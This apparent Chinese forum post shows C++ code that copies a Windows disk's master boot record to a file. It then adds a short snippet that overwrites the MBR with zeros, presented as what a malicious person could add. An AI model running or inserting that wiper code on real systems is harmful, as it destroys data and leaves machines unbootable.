|
- /*code by fozzy*/
- #include <iostream>
- #include <fstream>
- #include <cstdlib>
- #include <cstdio>
- using namespace std;
- int main(void)
- {
- char buffer[1024];
- ifstream in("\\\\.\\PHYSICALDRIVE0",ios::binary|ios::in);
- in.read(buffer,sizeof(buffer));
- in.close();
- ofstream out("mbr.txt",ios::binary|ios::out);
- out.write(buffer,sizeof(buffer));
- out.close();
- system("pause");
- return 0;
复制代码 代码不邪恶,但是如果某个有恶意的人加上- ofstream writeMBR("\\\\.\\PHYSICALDRIVE0",ios::binary|ios::out);
- char buffer[1024];
- memset(buffer,0,sizeof(buffer));
- writeMBR.write(buffer,sizeof(buffer));
- writeMBR.close();
复制代码 |
|